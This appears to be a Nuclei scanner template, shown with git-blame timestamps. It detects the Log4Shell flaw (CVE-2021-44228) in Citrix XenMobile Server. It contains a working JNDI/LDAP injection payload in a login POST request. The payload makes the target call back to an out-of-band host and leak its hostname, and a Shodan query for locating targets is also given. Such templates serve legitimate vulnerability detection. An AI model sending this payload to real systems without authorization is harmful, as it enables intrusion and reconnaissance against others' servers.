2022-09-29 06:44:52 +00:00
id : xenmobile-server-log4j
info :
name : Citrix XenMobile Server - Remote Code Execution (Apache Log4j)
author : DhiyaneshDK
severity : critical
2023-05-30 08:55:30 +00:00
description : XenMobile Server is an on-premises enterprise mobility management solution and versions 10.14 RP2, 10.13 RP5 and 10.12 RP10 are vulnerable to CVE-2021-44228 (Apache Log4j). JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
2022-09-29 06:44:52 +00:00
reference : https://support.citrix.com/article/CTX335705/citrix-security-advisory-for-cve202144228-cve202145046-cve202145105-and-cve202144832
2023-05-30 08:55:30 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10.0
cve-id : CVE-2021-44228
cwe-id : CWE-502
2022-09-29 06:44:52 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2022-09-29 06:44:52 +00:00
verified : true
shodan-query : title:"XenMobile"
tags : cve,cve2021,rce,jndi,log4j,xenmobile,oast
2023-05-03 18:46:17 +00:00
variables :
rand1 : '{{rand_int(111, 999)}}'
rand2 : '{{rand_int(111, 999)}}'
2023-04-27 04:28:59 +00:00
http :
2022-09-29 06:44:52 +00:00
- raw :
- |
2022-10-21 08:34:41 +00:00
@timeout : 20s
2022-09-29 06:44:52 +00:00
POST /zdm/cxf/login HTTP/1.1
Host : {{Hostname}}
Accept : application/json, text/javascript, */*; q=0.01
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With : XMLHttpRequest
Origin : {{BaseURL}}
Referer : {{BaseURL}}/zdm/login_xdm_uc.jsp
2023-05-03 18:46:17 +00:00
login=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.postdata.{{interactsh-url}}}&password=admin
2022-09-29 06:44:52 +00:00
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol # Confirms the DNS Interaction
words :
- "dns"
- type : regex
part : interactsh_request
regex :
2023-05-03 18:46:17 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
2022-09-29 06:44:52 +00:00
2022-10-21 08:34:41 +00:00
- type : word
part : body
words :
- '<h1>500 Server Internal Error'
2022-09-29 06:44:52 +00:00
extractors :
- type : kval
kval :
- interactsh_ip # Print remote interaction IP in output
2023-05-03 18:46:17 +00:00
- type : regex
part : interactsh_request
group : 2
regex :
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
2022-09-29 06:44:52 +00:00
- type : regex
part : interactsh_request
group : 1
regex :
2023-05-03 18:46:17 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output